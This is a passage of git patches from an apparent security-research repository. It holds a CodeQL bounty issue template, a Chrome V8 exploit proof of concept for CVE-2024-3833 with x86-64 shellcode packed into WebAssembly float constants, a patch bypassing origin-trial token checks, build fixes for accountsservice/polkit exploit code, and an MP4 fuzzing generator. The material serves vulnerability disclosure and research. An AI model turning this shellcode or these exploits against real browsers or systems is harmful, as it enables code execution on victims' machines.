Slayer] -body: - - type: markdown - attributes: - value: | - # ANNOUNCEMENT - 🚨 Attention CodeQL Bug Hunters! 🚨 - - We are [sunsetting the GitHub CodeQL Bug Bounty Program.](https://github.com/github/securitylab/discussions/828) - - But fear not! You still have until June 24 to submit your final findings and potentially earn some cash 💰! Let's make these last submissions count! 🎯 - - # Introduction - - Thank you for your submission to the bounty program! - - After you submit this issue, the GitHub Security Lab and CodeQL teams will triage the submission and, if it meets the Query Bounty Program requirements, we will grant you a bounty through our HackerOne program. - - Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties/) - - # Questionnaire - - type: textarea - id: cve_ids - attributes: - label: CVE(s) ID list - description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. You need at least four high severity CVEs or two critical severity CVEs. - placeholder: | - ex. - - [CVE-20nn-xxxx]() - - [CVE-20nn-yyyy]() - validations: - required: true - - type: input - id: a41_url - attributes: - label: All For One submission - description: Link to the All For One submission with your CodeQL query - placeholder: | - ex. https://github.com/github/securitylab/issues/nnn - validations: - required: true - - type: textarea - id: details - attributes: - label: Details - description: Detail here how you found each CVE with your query. You can provide LGTM results, links to codeql DBs, ... anything that demonstrates that your query finds each CVE. - placeholder: | - ex. - - link/to/my/lgtm/runs - - link/to/gist/with/modified/query - - link/to/codeql/db - validations: - required: true - - type: checkboxes - id: social - attributes: - label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). - description: We would love to have you spread the word about the good work you are doing - options: - - label: "Yes" - - label: "No" - validations: - required: true - - type: input - id: social_url - attributes: - label: Blog post link - description: If you have already blogged about your query, please provide a link. - validations: - required: false From c9321da4f3372f455f9c73ff74bcfb344ffc7c4e Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 25 Jun 2024 17:06:08 +0100 Subject: [PATCH 115/140] Initial commit --- .../Chrome/v8/CVE_2024_3833/README.md | 23 ++ .../Chrome/v8/CVE_2024_3833/import_shell.js | 91 ++++++++ .../Chrome/v8/CVE_2024_3833/trial-token.patch | 31 +++ .../Chrome/v8/CVE_2024_3833/wasm_poc.html | 201 ++++++++++++++++++ 4 files changed, 346 insertions(+) create mode 100644 SecurityExploits/Chrome/v8/CVE_2024_3833/README.md create mode 100644 SecurityExploits/Chrome/v8/CVE_2024_3833/import_shell.js create mode 100644 SecurityExploits/Chrome/v8/CVE_2024_3833/trial-token.patch create mode 100644 SecurityExploits/Chrome/v8/CVE_2024_3833/wasm_poc.html diff --git a/SecurityExploits/Chrome/v8/CVE_2024_3833/README.md b/SecurityExploits/Chrome/v8/CVE_2024_3833/README.md new file mode 100644 index 0000000..d06634c --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2024_3833/README.md @@ -0,0 +1,23 @@ +## V8 type confusion CVE-2024-3833 + +The analysis of this bug can be found [here](https://github.blog/2024-06-26-attack-of-the-clones-getting-rce-in-chromes-renderer-with-duplicate-object-properties). + +The exploit here is tested on the official build of Chrome version 123.0.6312.58, on Ubuntu 22.04. The following build config was used to build Chromium: + +``` +is_debug = false +symbol_level = 1 +blink_symbol_level = 1 +dcheck_always_on = false +is_official_build = true +chrome_pgo_phase = 0 +v8_symbol_level = 1 +``` + +The bug depends on an origin trial and to emulate it locally, the patch `trial-token.patch` should be applied before building Chrome. + +If successful, on Ubuntu 22.04, it should call launch `xcalc` when `wasm_poc.html` is opened in Chrome. + +Shell code and some addresses may need changing on other platforms. + + diff --git a/SecurityExploits/Chrome/v8/CVE_2024_3833/import_shell.js b/SecurityExploits/Chrome/v8/CVE_2024_3833/import_shell.js new file mode 100644 index 0000000..86cc811 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2024_3833/import_shell.js @@ -0,0 +1,91 @@ +d8.file.execute("/home/mmo/chrome_pocs/v8_test/wasm/wasm-module-builder.js"); + +const importObject = { + imports: { imported_func : Math.sin}, +}; + + +var builder = new WasmModuleBuilder(); +let array = builder.addArray(kWasmF64, true); + +var sig_index = builder.addType(kSig_d_d); + +builder.addImport("imports", "imported_func", sig_index); +builder.addFunction("main", sig_index) + .addBody([kExprLocalGet, 0, kExprCallFunction, 0]) + .exportAs("main"); +//jumps: 0x45, 0x48 for d8 +//0x1d, 0x20 for chrome +builder.addFunction("make_array", makeSig([], [wasmRefNullType(array)])) + .addLocals(wasmRefNullType(array), 1) + .addBody([kExprI32Const, 18, kGCPrefix, kExprArrayNewDefault, array, kExprLocalSet, 0, + kExprLocalGet, 0, + kExprI32Const, 0, + kExprF64Const, 0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xeb, 0x1d, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 1, + kExprF64Const, 0x68, 0x6c, 0x63, 0x00, 0x00, 0x90, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 2, + kExprF64Const, 0x68, 0x2f, 0x78, 0x63, 0x61, 0x58, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 3, + kExprF64Const, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x5b, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 4, + kExprF64Const, 0x90, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 5, + kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x5f, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 6, + kExprF64Const, 0x56, 0x57, 0x54, 0x5e, 0x90, 0x90, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 7, + kExprF64Const, 0x68, 0x3a, 0x30, 0x2e, 0x30, 0x90, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 8, + kExprF64Const, 0x68, 0x4c, 0x41, 0x59, 0x3d, 0x58, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 9, + kExprF64Const, 0x68, 0x44, 0x49, 0x53, 0x50, 0x5b, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 10, + kExprF64Const, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0x90, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 11, + kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x90, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 12, + kExprF64Const, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 13, + kExprF64Const, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0, + kExprI32Const, 14, + kExprF64Const, 0x0f, 0x05, 0x5a, 0x31, 0xd2, 0x52, 0xeb, 0x20, + kGCPrefix, kExprArraySet, array, + kExprLocalGet, 0]) + .exportFunc(); + +var wasmBuffer = builder.toBuffer(false); +var bufStr = '[' +for (let i = 0; i < wasmBuffer.length - 1; i++) { + bufStr += wasmBuffer[i] + ','; +} +bufStr += wasmBuffer[wasmBuffer.length - 1] + ']'; +console.log(bufStr); diff --git a/SecurityExploits/Chrome/v8/CVE_2024_3833/trial-token.patch b/SecurityExploits/Chrome/v8/CVE_2024_3833/trial-token.patch new file mode 100644 index 0000000..ba36da5 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2024_3833/trial-token.patch @@ -0,0 +1,31 @@ +diff --git a/third_party/blink/common/origin_trials/trial_token.cc b/third_party/blink/common/origin_trials/trial_token.cc +index e3a28923fce19..70c24dd445066 100644 +--- a/third_party/blink/common/origin_trials/trial_token.cc ++++ b/third_party/blink/common/origin_trials/trial_token.cc +@@ -116,6 +116,17 @@ OriginTrialTokenStatus TrialToken::Extract( + std::string* out_token_payload, + std::string* out_token_signature, + uint8_t* out_token_version) { ++ ++ if (token_text.length() > kMaxTokenSize || public_key.size() == 0 || token_text.length() < kPayloadOffset) { ++ return OriginTrialTokenStatus::kMalformed; ++ } ++ ++ *out_token_payload = token_text; ++ *out_token_signature = "1234"; ++ *out_token_version = kVersion2; ++ return OriginTrialTokenStatus::kSuccess;; ++ ++/* + if (token_text.empty()) { + return OriginTrialTokenStatus::kMalformed; + } +@@ -178,6 +189,7 @@ OriginTrialTokenStatus TrialToken::Extract( + *out_token_payload = token_contents.substr(kPayloadOffset, payload_length); + *out_token_signature = std::string(signature); + return OriginTrialTokenStatus::kSuccess; ++ */ + } + + // static +-- diff --git a/SecurityExploits/Chrome/v8/CVE_2024_3833/wasm_poc.html b/SecurityExploits/Chrome/v8/CVE_2024_3833/wasm_poc.html new file mode 100644 index 0000000..03013d8 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2024_3833/wasm_poc.html @@ -0,0 +1,201 @@ + + + + + From 6dae42c0a60bf80ee16fa849590e37807b2527b8 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Mon, 12 Aug 2024 13:07:46 +0100 Subject: [PATCH 116/140] Initial commit --- .../Chrome/v8/CVE_2024_5830/README.md | 21 ++ .../Chrome/v8/CVE_2024_5830/calc.html | 197 ++++++++++++++++++ 2 files changed, 218 insertions(+) create mode 100644 SecurityExploits/Chrome/v8/CVE_2024_5830/README.md create mode 100644 SecurityExploits/Chrome/v8/CVE_2024_5830/calc.html diff --git a/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md b/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md new file mode 100644 index 0000000..7715765 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md @@ -0,0 +1,21 @@ +## V8 type confusion CVE-2024-5830 + +The analysis of this bug can be found [here](). + +The exploit here is tested on the official build of Chrome version 125.0.6422.112, on Ubuntu 22.04. The following build config was used to build Chromium: + +``` +is_debug = false +symbol_level = 1 +blink_symbol_level = 1 +dcheck_always_on = false +is_official_build = true +chrome_pgo_phase = 0 +v8_symbol_level = 1 +``` + +If successful, on Ubuntu 22.04, it should call launch `xcalc` when `calc.html` is opened in Chrome. + +Shell code and some addresses may need changing on other platforms. + + diff --git a/SecurityExploits/Chrome/v8/CVE_2024_5830/calc.html b/SecurityExploits/Chrome/v8/CVE_2024_5830/calc.html new file mode 100644 index 0000000..6370e6d --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2024_5830/calc.html @@ -0,0 +1,197 @@ + + + + + From 923e9724abcde985e64f7d41693f53444c72ba61 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 13 Aug 2024 12:26:30 +0100 Subject: [PATCH 117/140] Add link --- SecurityExploits/Chrome/v8/CVE_2024_5830/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md b/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md index 7715765..c4886cc 100644 --- a/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md +++ b/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md @@ -1,6 +1,6 @@ ## V8 type confusion CVE-2024-5830 -The analysis of this bug can be found [here](). +The analysis of this bug can be found [here](https://github.blog/2024-08-13-from-object-transition-to-rce-in-the-chrome-renderer). The exploit here is tested on the official build of Chrome version 125.0.6422.112, on Ubuntu 22.04. The following build config was used to build Chromium: From bf5b0d006f9ec6be5211a92cce58cb462a2e2800 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Sat, 16 Nov 2024 23:18:12 +0000 Subject: [PATCH 118/140] Fix some build failures that happen on Ubuntu 24.04 --- .../Ubuntu/accountsservice_CVE-2021-3939/DBusParse | 2 +- .../Ubuntu/accountsservice_CVE-2021-3939/EPollLoop | 2 +- .../EPollLoopDBusHandler | 2 +- .../Ubuntu/accountsservice_CVE-2021-3939/poc.cpp | 2 +- .../Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp | 8 ++++---- .../Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp | 14 +++++++------- .../authentication_bypass_CVE-2021-3560/DBusParse | 2 +- .../DBusParse | 2 +- 8 files changed, 17 insertions(+), 17 deletions(-) diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse index b2c75ca..8d73dbe 160000 --- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse @@ -1 +1 @@ -Subproject commit b2c75caace13d54303581a71f72c83bb5239b3a2 +Subproject commit 8d73dbeafd857207bfd76b10ec74b5cc382e1975 diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop index 9bb4a14..4080ace 160000 --- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop @@ -1 +1 @@ -Subproject commit 9bb4a14427dfb7da867cc253f3e064d54b18679a +Subproject commit 4080acee5be79591d72a0ad239303574235a5236 diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler index 019faea..16926a0 160000 --- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler @@ -1 +1 @@ -Subproject commit 019faea2c0e00ba1047b7a0eb3861769896d6dd1 +Subproject commit 16926a08464267186fb316e615b9363f10d75c8a diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp index 2a037bb..3ef9671 100644 --- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp @@ -433,7 +433,7 @@ class Run { // This is declared outside of the loop because we want to remember the // the last value that it's set to. - char email[64] = "kevwozere@kevwozere.com"; + char email[128] = "kevwozere@kevwozere.com"; // Try to occupy the chunk. for (size_t i = 0; i < batch_size1; i++) { diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp index d03cc4c..147a968 100644 --- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp @@ -420,7 +420,7 @@ class AccountsHandler : public DBusHandler { // call the SetEmail method with the same email address as last time, so // that we trigger a polkit check that will get approved, but without // jumbling the memory any further. - char email_[64] = "kevwozere@kevwozere.com"; + char email_[128] = "kevwozere@kevwozere.com"; private: int quit() { @@ -719,7 +719,7 @@ class AccountsHandler : public DBusHandler { // we don't want. accounts_set_property( my_objectpath_.c_str(), "SetEmail", email_, - [this](const DBusMessage&, bool) -> int { + [](const DBusMessage&, bool) -> int { return 0; } ); @@ -806,13 +806,13 @@ int main(int argc, char* argv[]) { EPollManager manager(loop); DBusAuthHandler* polkit_auth_handler = - new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager)); + new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager)); if (loop.add_handler(polkit_auth_handler) < 0) { throw Error(_s("Failed to add PolkitHandler")); } DBusAuthHandler* accounts_auth_handler = - new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager)); + new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager)); if (loop.add_handler(accounts_auth_handler) < 0) { throw Error(_s("Failed to add AccountsHandler")); } diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp index 7ebe26e..df7f2d2 100644 --- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp @@ -428,7 +428,7 @@ class AccountsHandlerBase : public DBusHandler { // call the SetEmail method with the same email address as last time, so // that we trigger a polkit check that will get approved, but without // jumbling the memory any further. - char email_[64] = "kevwozere@kevwozere.com"; + char email_[128] = "kevwozere@kevwozere.com"; public: AccountsHandlerBase( @@ -611,7 +611,7 @@ class AccountsHandler : public AccountsHandlerBase { fflush(stderr); } - int attempt_exploit() { + int attempt_exploit() override { choose_batch_size(); return findUserByID( @@ -637,7 +637,7 @@ class AccountsHandler : public AccountsHandlerBase { accounts_set_property( my_objectpath_.c_str(), "SetEmail", email_, - [this](const DBusMessage&, bool) -> int { + [](const DBusMessage&, bool) -> int { return 0; } ); @@ -767,7 +767,7 @@ class TriggerBugHandler : public AccountsHandlerBase { ); } - int attempt_exploit() { + int attempt_exploit() override { choose_batch_size(); const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); @@ -868,19 +868,19 @@ int main(int argc, char* argv[]) { // In the child process, we just continually trigger the bug at // 1-second intervals. DBusAuthHandler* trigger_bug_auth_handler = - new DBusAuthHandler(loop, info.uid_, new TriggerBugHandler(info, manager)); + new DBusAuthHandler(info.uid_, new TriggerBugHandler(info, manager)); if (loop.add_handler(trigger_bug_auth_handler) < 0) { throw Error(_s("Failed to add TriggerBugHandler")); } } else { DBusAuthHandler* polkit_auth_handler = - new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager)); + new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager)); if (loop.add_handler(polkit_auth_handler) < 0) { throw Error(_s("Failed to add PolkitHandler")); } DBusAuthHandler* accounts_auth_handler = - new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager)); + new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager)); if (loop.add_handler(accounts_auth_handler) < 0) { throw Error(_s("Failed to add AccountsHandler")); } diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse index 0d28bdc..8d73dbe 160000 --- a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse +++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse @@ -1 +1 @@ -Subproject commit 0d28bdc3ba1c6c4e69e125aa394eddd6edb7622f +Subproject commit 8d73dbeafd857207bfd76b10ec74b5cc382e1975 diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse index b2c75ca..8d73dbe 160000 --- a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse +++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse @@ -1 +1 @@ -Subproject commit b2c75caace13d54303581a71f72c83bb5239b3a2 +Subproject commit 8d73dbeafd857207bfd76b10ec74b5cc382e1975 From df384de43d2a11ce8741cb378a4027ae786989d5 Mon Sep 17 00:00:00 2001 From: Antonio Morales <55253029+antonio-morales@users.noreply.github.com> Date: Wed, 11 Dec 2024 11:56:07 +0100 Subject: [PATCH 119/140] Fuzzing Gstreamer - MP4 generator --- Fuzzing/GStreamer/README.md | 2 + Fuzzing/GStreamer/aux.h | 61 +++ Fuzzing/GStreamer/labeler/MP4.cc | 114 +++++ Fuzzing/GStreamer/labeler/MP4.h | 25 ++ Fuzzing/GStreamer/labeler/fourcc.h | 641 ++++++++++++++++++++++++++++ Fuzzing/GStreamer/labeler/labeler.h | 11 + Fuzzing/GStreamer/main.cc | 114 +++++ Fuzzing/GStreamer/makefile | 9 + Fuzzing/GStreamer/tree.cc | 137 ++++++ Fuzzing/GStreamer/tree.h | 64 +++ 10 files changed, 1178 insertions(+) create mode 100644 Fuzzing/GStreamer/README.md create mode 100644 Fuzzing/GStreamer/aux.h create mode 100644 Fuzzing/GStreamer/labeler/MP4.cc create mode 100644 Fuzzing/GStreamer/labeler/MP4.h create mode 100644 Fuzzing/GStreamer/labeler/fourcc.h create mode 100644 Fuzzing/GStreamer/labeler/labeler.h create mode 100644 Fuzzing/GStreamer/main.cc create mode 100644 Fuzzing/GStreamer/makefile create mode 100644 Fuzzing/GStreamer/tree.cc create mode 100644 Fuzzing/GStreamer/tree.h diff --git a/Fuzzing/GStreamer/README.md b/Fuzzing/GStreamer/README.md new file mode 100644 index 0000000..ee5b827 --- /dev/null +++ b/Fuzzing/GStreamer/README.md @@ -0,0 +1,2 @@ +# MP4 corpus generator +An MP4 corpus generator diff --git a/Fuzzing/GStreamer/aux.h b/Fuzzing/GStreamer/aux.h new file mode 100644 index 0000000..b39c117 --- /dev/null +++ b/Fuzzing/GStreamer/aux.h @@ -0,0 +1,61 @@ +#pragma once + +#include +#include +#include + +inline uint32_t rand_uint32(uint32_t min_value, uint32_t max_value) { + + static std::random_device rd; + static std::mt19937 gen(rd()); + + uint32_t rand_number; + + std::uniform_int_distribution<> dist(min_value, max_value); + + rand_number = dist(gen); + + return rand_number; +} + + +inline std::string uint32_to_string(uint32_t fourcc){ + + std::string output = ""; + + output += fourcc & 0xFF; + output += (fourcc >> 8) & 0xFF; + output += (fourcc >> 16) & 0xFF; + output += (fourcc >> 24) & 0xFF; + + return output; +} + + +inline std::string uint32_to_string_BE(uint32_t fourcc){ + + std::string output = ""; + + output += (fourcc >> 24) & 0xFF; + output += (fourcc >> 16) & 0xFF; + output += (fourcc >> 8) & 0xFF; + output += fourcc & 0xFF; + + return output; +} + + +inline bool write_to_file(const std::string &content, std::filesystem::path file){ + + std::ofstream ofs(file, std::ios::out | std::ios::binary); + + if (!ofs) { + return false; + } + + ofs << content; + + ofs.close(); + + return true; +} \ No newline at end of file diff --git a/Fuzzing/GStreamer/labeler/MP4.cc b/Fuzzing/GStreamer/labeler/MP4.cc new file mode 100644 index 0000000..071eb4e --- /dev/null +++ b/Fuzzing/GStreamer/labeler/MP4.cc @@ -0,0 +1,114 @@ +#include + +#include "MP4.h" + + +std::string MP4_labeler::traverse(Node &node){ + + std::string output; + + for(int i=0; i < node.children().size(); i++){ + + Node &child = tree->get_node(node.children()[i]); + + output += traverse(child); + } + + + uint32_t size; + + if(node.get_id() == 0){ + size = 20; + }else{ + size = node.get_label().size() + output.size() + 4; + } + + std::string label = node.get_label(); + uint32_t label_size = label.size(); + + output = uint32_to_string_BE(size) + label + output; + + return output; +} + + + +MP4_labeler::MP4_labeler(RandomTree *in_tree) { + + this->tree = in_tree; + + priv_name = "MP4"; + + Node &root = this->tree->get_node(0); + + std::string root_label = "ftyp"; + root_label += "dash"; + root_label += "AAAABBBB"; + + root.set_label(root_label); + + for(int i=1; i < this->tree->size(); i++){ + + Node &node = this->tree->get_node(i); + + + uint32_t fourcc; + + uint32_t padding; + + uint32_t random_data; + + + if(node.children().size() == 0){ + + //LEAF + + uint32_t random = rand_uint32(0, FOURCC_LIST_SIZE-1); + + fourcc = FOURCC_LIST[random].fourcc; + + padding = FOURCC_LIST[random].min_size; + + random_data = rand_uint32(4, 16); + + + }else{ + + //CONTAINER + + uint32_t random = rand_uint32(0, CONTAINER_LIST_SIZE-1); + + fourcc = CONTAINER_LIST[random].fourcc; + + padding = CONTAINER_LIST[random].min_size; + + random_data = 0; + + } + + std::string label = uint32_to_string(fourcc); + + label += std::string(padding, '\x00'); + + label += std::string(random_data, '\x41'); + + node.set_label(label); + + } +} + + + + +std::string MP4_labeler::serialize(){ + + std::string output; + + Node &root = tree->get_node(0); + + output = traverse(root); + + return output; + +} + diff --git a/Fuzzing/GStreamer/labeler/MP4.h b/Fuzzing/GStreamer/labeler/MP4.h new file mode 100644 index 0000000..972a114 --- /dev/null +++ b/Fuzzing/GStreamer/labeler/MP4.h @@ -0,0 +1,25 @@ +#pragma once + +#include +#include + +#include + +#include "fourcc.h" +#include "labeler.h" + + +class MP4_labeler : public Labeler{ + + private: + + RandomTree *tree; + + std::string traverse(Node &node); + + public: + + MP4_labeler(RandomTree *in_tree); + + std::string serialize(); +}; diff --git a/Fuzzing/GStreamer/labeler/fourcc.h b/Fuzzing/GStreamer/labeler/fourcc.h new file mode 100644 index 0000000..4bd83ad --- /dev/null +++ b/Fuzzing/GStreamer/labeler/fourcc.h @@ -0,0 +1,641 @@ +#pragma once + +#include + + +/* FOURCC data copied from GStreamer project (https://gstreamer.freedesktop.org/) */ + +#define guint32 uint32_t + +#define GST_MAKE_FOURCC(a,b,c,d) \ + ( (guint32)(a) | ((guint32) (b)) << 8 | ((guint32) (c)) << 16 | ((guint32) (d)) << 24 ) + +#define FOURCC_2vuy GST_MAKE_FOURCC('2','v','u','y') +#define FOURCC_FMP4 GST_MAKE_FOURCC('F','M','P','4') +#define FOURCC_H264 GST_MAKE_FOURCC('H','2','6','4') +#define FOURCC_H265 GST_MAKE_FOURCC('H','2','6','5') +#define FOURCC_MAC3 GST_MAKE_FOURCC('M','A','C','3') +#define FOURCC_MAC6 GST_MAKE_FOURCC('M','A','C','6') +#define FOURCC_MP4V GST_MAKE_FOURCC('M','P','4','V') +#define FOURCC_PICT GST_MAKE_FOURCC('P','I','C','T') +#define FOURCC_QDM2 GST_MAKE_FOURCC('Q','D','M','2') +#define FOURCC_SVQ3 GST_MAKE_FOURCC('S','V','Q','3') +#define FOURCC_VP31 GST_MAKE_FOURCC('V','P','3','1') +#define FOURCC_VP80 GST_MAKE_FOURCC('V','P','8','0') +#define FOURCC_WRLE GST_MAKE_FOURCC('W','R','L','E') +#define FOURCC_XMP_ GST_MAKE_FOURCC('X','M','P','_') +#define FOURCC_XVID GST_MAKE_FOURCC('X','V','I','D') +#define FOURCC__ART GST_MAKE_FOURCC(0xa9,'A','R','T') +#define FOURCC_____ GST_MAKE_FOURCC('-','-','-','-') +#define FOURCC___in GST_MAKE_FOURCC(' ',' ','i','n') +#define FOURCC___ty GST_MAKE_FOURCC(' ',' ','t','y') +#define FOURCC__alb GST_MAKE_FOURCC(0xa9,'a','l','b') +#define FOURCC__cpy GST_MAKE_FOURCC(0xa9,'c','p','y') +#define FOURCC__day GST_MAKE_FOURCC(0xa9,'d','a','y') +#define FOURCC__des GST_MAKE_FOURCC(0xa9,'d','e','s') +#define FOURCC__enc GST_MAKE_FOURCC(0xa9,'e','n','c') +#define FOURCC__gen GST_MAKE_FOURCC(0xa9, 'g', 'e', 'n') +#define FOURCC__grp GST_MAKE_FOURCC(0xa9,'g','r','p') +#define FOURCC__inf GST_MAKE_FOURCC(0xa9,'i','n','f') +#define FOURCC__lyr GST_MAKE_FOURCC(0xa9,'l','y','r') +#define FOURCC__mp3 GST_MAKE_FOURCC('.','m','p','3') +#define FOURCC__nam GST_MAKE_FOURCC(0xa9,'n','a','m') +#define FOURCC__req GST_MAKE_FOURCC(0xa9,'r','e','q') +#define FOURCC__too GST_MAKE_FOURCC(0xa9,'t','o','o') +#define FOURCC__wrt GST_MAKE_FOURCC(0xa9,'w','r','t') +#define FOURCC_aART GST_MAKE_FOURCC('a','A','R','T') +#define FOURCC_ac_3 GST_MAKE_FOURCC('a','c','-','3') +#define FOURCC_agsm GST_MAKE_FOURCC('a','g','s','m') +#define FOURCC_ai12 GST_MAKE_FOURCC('a','i','1','2') +#define FOURCC_ai13 GST_MAKE_FOURCC('a','i','1','3') +#define FOURCC_ai15 GST_MAKE_FOURCC('a','i','1','5') +#define FOURCC_ai16 GST_MAKE_FOURCC('a','i','1','6') +#define FOURCC_ai1p GST_MAKE_FOURCC('a','i','1','p') +#define FOURCC_ai1q GST_MAKE_FOURCC('a','i','1','q') +#define FOURCC_ai52 GST_MAKE_FOURCC('a','i','5','2') +#define FOURCC_ai53 GST_MAKE_FOURCC('a','i','5','3') +#define FOURCC_ai55 GST_MAKE_FOURCC('a','i','5','5') +#define FOURCC_ai56 GST_MAKE_FOURCC('a','i','5','6') +#define FOURCC_ai5p GST_MAKE_FOURCC('a','i','5','p') +#define FOURCC_ai5q GST_MAKE_FOURCC('a','i','5','q') +#define FOURCC_alac GST_MAKE_FOURCC('a','l','a','c') +#define FOURCC_fLaC GST_MAKE_FOURCC('f','L','a','C') +#define FOURCC_dfLa GST_MAKE_FOURCC('d','f','L','a') +#define FOURCC_alaw GST_MAKE_FOURCC('a','l','a','w') +#define FOURCC_alis GST_MAKE_FOURCC('a','l','i','s') +#define FOURCC_appl GST_MAKE_FOURCC('a','p','p','l') +#define FOURCC_avc1 GST_MAKE_FOURCC('a','v','c','1') +#define FOURCC_avc3 GST_MAKE_FOURCC('a','v','c','3') +#define FOURCC_avcC GST_MAKE_FOURCC('a','v','c','C') +#define FOURCC_c608 GST_MAKE_FOURCC('c','6','0','8') +#define FOURCC_c708 GST_MAKE_FOURCC('c','7','0','8') +#define FOURCC_ccdp GST_MAKE_FOURCC('c','c','d','p') +#define FOURCC_cdat GST_MAKE_FOURCC('c','d','a','t') +#define FOURCC_cdt2 GST_MAKE_FOURCC('c','d','t','2') +#define FOURCC_clcp GST_MAKE_FOURCC('c','l','c','p') +#define FOURCC_clip GST_MAKE_FOURCC('c','l','i','p') +#define FOURCC_cmov GST_MAKE_FOURCC('c','m','o','v') +#define 